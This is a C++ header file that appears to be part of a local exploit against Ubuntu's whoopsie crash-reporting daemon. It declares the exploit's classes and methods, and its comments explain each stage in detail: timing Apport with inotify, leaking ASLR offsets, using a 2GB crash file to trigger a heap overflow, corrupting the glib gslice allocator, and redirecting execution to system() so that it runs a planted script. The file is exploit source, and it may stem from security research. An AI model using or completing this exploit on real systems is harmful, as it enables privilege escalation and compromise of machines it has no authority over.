#include <unistd.h>

class Main {
public:
  static const char* apport_ignore_name_;
  static const char* whoopsie_crash_path_;
  static const char* whoopsie_lock_path_;
  static const char* crash_path_;
  static const char* upload_path_;
  static const char* uploaded_path_;
  static const char* lock_path_;
  static const char* lock_bak_path_;
  static const char* kev_sh_path_;
  static const char* bogus0_path_;
  static const char* bogus1_path_;
  static const char* bogus2_path_;
  static const char* bogus3_path_;
  static const size_t crash_report_size_;

private:
  // Set by SIGINT signal handler, so that we can shut down cleanly.
  static bool shutdown_;

  // The user's home directory.
  const char* homedir_;

  // See comment in `Main::runonce()` for an explanation of `numpids_`.
  const size_t numpids_;

  // Absolute path of `~/.apport-ignore.xml`.
  const std::string ignore_path_;

  // Apport opens the .apport-ignore.xml file just before generating the
  // the crash report, which is useful for timing (with inotify).
  const AutoCreateAndDeleteFile ignore_file_;

  // The filename of the crash report that will contain whoopsie's
  // ASLR offsets.
  const std::string whoopsie_aslr_crash_report_filename_;

  // The file containing whoopsie's ASLR offsets will get repeatedly
  // created and deleted during the exploit. On exit, we want to make
  // sure that it's deleted.
  const AutoUnlink whoopsie_aslr_crash_report_autounlink_;

  // Automatically delete `/var/crash/killwhoopsie.upload` on exit.
  const AutoUnlink upload_file_autounlink_;

  // Create `/var/crash/killwhoopsie.uploaded`. (Otherwise whoopsie might
  // create it and we won't be able to delete it.)
  const AutoCreateAndDeleteFile uploaded_file_;

  // Create /var/crash/.lock
  // If we create it, then we can maintain ownership of it and delete it
  // again when we're done. Otherwise it will be created by Apport and
  // owned by root.
  const AutoCreateAndDeleteFile lock_file_;

  // Create the script that we want the exploit to run.
  const AutoCreateAndDeleteFile kev_sh_file_;

  // Create a fake crash report for whoopsie. Otherwise it will be created
  // by Apport and we won't be able to remove it. This also speeds Apport
  // up slightly.
  const AutoCreateAndDeleteFile fake_whoopsie_crash_file_;

  // Create the .crash file that we will use to trigger the heap buffer
  // overflow in whoopsie.
  const AutoCreateAndDeleteFile large_crash_file_;

  // PID of whoopsie. This field is set by `runonce()` after it has
  // successfully obtained the ASLR offsets.
  pid_t whoopsie_pid_;

  // Address of `glib_worker_context->source_lists`. Updated by
  // `parse_whoopsie_ASLR_offsets`.
  size_t source_lists_addr_;

  // Base address of the mmap'ed region which contains the 16 byte glib
  // magazine blocks, which we are going to corrupt. Updated by
  // `parse_whoopsie_ASLR_offsets`.
  size_t mmap_base_addr_;

  // After the crash report gets mmap-ed into the process (during
  // `parse_report`), its contents get copied into a hash table. This means
  // that a 2GB string gets malloc-ed.  Due to its large size, this string
  // always lands in a predictable location. Also, the string is initially
  // memcpy-ed from the file so there is a short window of time (2 seconds
  // or so), during which we have almost complete control of the contents
  // of that memory. (The only restriction is that it cannot contain the
  // '\n' character, because that is used as the terminating character of
  // the string.) So in the final step of the exploit, we are going to
  // place some fake objects in the crash file and then trigger whoopsie to
  // parse it. Prior to this, we have overwritten a pointer so that it
  // points into this memory region. Unlike the earlier stages of the
  // exploit, we are not limited to valid UTF8 strings, so this is far
  // preferable to attempting to construct the fake objects in the memory
  // area that we corrupted earlier.
  size_t malloc_string_addr_;

  // Address of `system` function. Updated by
  // `parse_whoopsie_ASLR_offsets`.
  size_t system_addr_;

  // Since this is a long running program, we want it to shut down
  // cleanly when it gets a ctrl-C.
  static void ctrl_c_handler(int sig);

  ssize_t runonce();
  void runmany();
  void parse_whoopsie_ASLR_offsets();
  bool isBadAddr();

  // This method is used during the final stage of the exploit to trigger
  // whoopsie to start processing the crash file. It uses inotify to detect
  // when whoopsie opens and closes the crash file. It also uses a timer to
  // time how many nanoseconds whoopsie keeps the file open for (and returns
  // that number).
  static long trigger_whoopsie(const int inotify_fd);

  static void trigger_whoopsie_final(const int inotify_fd, long mmap_duration);

  // This method is used during the final stage of the exploit to check
  // that whoopsie hasn't crashed. (Sometimes, whoopsie's memory layout
  // ends up being different from what we need and the exploit just crashes
  // whoopsie, rather than successfully corrupting the gslice memory
  // allocator.)
  void check_whoopsie_hasnt_crashed() const;

  void runExploit_stage1(const int fd) const;
  void runExploit_stage2(const int fd) const;

  // Attempt to create a fake crash report for whoopsie.  Apport will see
  // this file and not create a new one, which means that we will be able
  // to remove it later.
  static void init_whoopsie_crash_file(const int crash_fd);

  // Write the crash file. This is 2GB file which triggers a heap buffer
  // overflow in whoopsie and causes it to crash.
  static void init_large_crash_file(const int crash_fd);

public:
  explicit Main(const char* homedir, size_t numpids);

  // Add a signal handler, so that we can stop gracefully if we receive a
  // Ctrl-C.
  static void set_ctrl_c_handler();

  void runUntilGoodAddr();
  void runExploit() const;
};

// pidof whoopsie
pid_t search_whoopsie_pid();
